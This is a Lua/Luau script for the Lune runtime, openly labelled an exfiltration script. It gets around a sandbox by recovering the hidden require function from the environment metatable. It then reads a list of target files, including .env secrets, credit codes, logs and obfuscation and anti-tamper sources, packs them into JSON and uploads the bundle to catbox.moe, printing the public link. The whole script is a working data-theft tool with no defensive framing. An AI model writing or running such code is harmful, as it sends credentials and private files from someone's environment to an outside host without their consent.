-- Full fixed exfil script - Bulk upload to Catbox.moe
require = nil
local env = getfenv(0) or _G
local mt = getmetatable(env)
local real_require = mt and mt.__index and (mt.__index.require or mt.__index.__index or mt.__index)

local fs    = real_require and real_require("@lune/fs")
local net   = real_require and real_require("@lune/net")
local serde = real_require and real_require("@lune/serde")

if not fs or not net or not serde then
    print("CRITICAL: Missing module(s)")
    print("fs:", fs and "ok" or "fail")
    print("net:", net and "ok" or "fail")
    print("serde:", serde and "ok" or "fail")
    return
end

-- ==================== Catbox Upload Function ====================
local function upload_to_catbox(filename: string, content: string)
    local boundary = "------------------------LuneExfil" .. tostring(os.time())

    local body = table.concat({
        "--" .. boundary .. "\r\n",
        'Content-Disposition: form-data; name="reqtype"\r\n\r\n',
        "fileupload\r\n",
        "--" .. boundary .. "\r\n",
        'Content-Disposition: form-data; name="fileToUpload"; filename="' .. filename .. '"\r\n',
        "Content-Type: application/json\r\n\r\n",
        content .. "\r\n",
        "--" .. boundary .. "--\r\n"
    })

    local ok, resp = pcall(net.request, {
        url = "https://catbox.moe/user/api.php",
        method = "POST",
        headers = {
            ["Content-Type"] = "multipart/form-data; boundary=" .. boundary,
            ["User-Agent"] = "LuneExfil/1.0",
        },
        body = body,
    })

    if not ok or not resp then
        print("net.request failed: " .. tostring(resp))
        return nil
    end

    if resp.statusCode == 200 then
        local url = resp.body:gsub("^%s+", ""):gsub("%s+$", "")
        if url:find("catbox.moe") then
            print("=== UPLOAD SUCCESS ===")
            print("File: " .. filename)
            print("URL:  " .. url)
            print("Raw:  " .. url)  -- same for .json
            return url
        end
    end

    print("Upload failed - Status: " .. resp.statusCode)
    print("Response: " .. (resp.body or "<empty>"))
    return nil
end

-- ==================== File Collection ====================
local interesting_files = {
    ".env", "../.env",
    "main.luau", "antitamper.lua", "luraph_antitamper.lua",
    "injection.lua", "meow.lua", "deobfed.lua", "deobfuscate.lua",
    "luaobf.lua", "luaobf2.lua",
    "botStats.json", "codes.json", "creditCodes.json", "logs.json", "badSites.json",
    "protected_dtcs.txt", "TODO.md", "notes.md",
    "pandadev.txt", "joshie.txt", "chilli.txt", "instasteal.txt",
    "JunkieKeySys.txt", "yarhm.txt",
    "test.lua", "x.lua", "ws.luau",
}

print("Starting bulk exfil to Catbox.moe...")
local current_dir = fs.currentDir and fs.currentDir() or "(unknown)"
print("Current dir: " .. current_dir)

local collected = {}
local total_size = 0
local added = 0

for i, rel_path in ipairs(interesting_files) do
    print(string.format("[%02d/%02d] %s", i, #interesting_files, rel_path))

    local ok, content = pcall(fs.readFile, rel_path)
    if ok and content and #content > 0 then
        collected[rel_path] = content
        total_size += #content
        added += 1
        local kb = math.floor(#content / 1024 + 0.5)
        print("  → Added (" .. kb .. " KB)")
    else
        print("  → Skipped (not found / empty / error)")
    end
end

if added == 0 then
    print("No files were readable. Exfil aborted.")
    return
end

print("\nCollected " .. added .. " files (" .. math.floor(total_size / 1024) .. " KB total)")

-- Build structured JSON
local exfil_data = {
    timestamp = os.date("%Y-%m-%d %H:%M:%S"),
    cwd = current_dir,
    total_files = added,
    total_size_kb = math.floor(total_size / 1024),
    files = collected,
}

local ok_json, json_str = pcall(serde.encode, "json", exfil_data)
if not ok_json then
    print("JSON encoding failed: " .. tostring(json_str))
    return
end

local filename = "lune_exfil_" .. os.date("%Y%m%d_%H%M%S") .. ".json"

print("\nUploading to Catbox.moe as " .. filename .. "...")
upload_to_catbox(filename, json_str)

print("\n=== Exfil complete ===")
print("Just download the JSON and open it — everything is nicely structured.")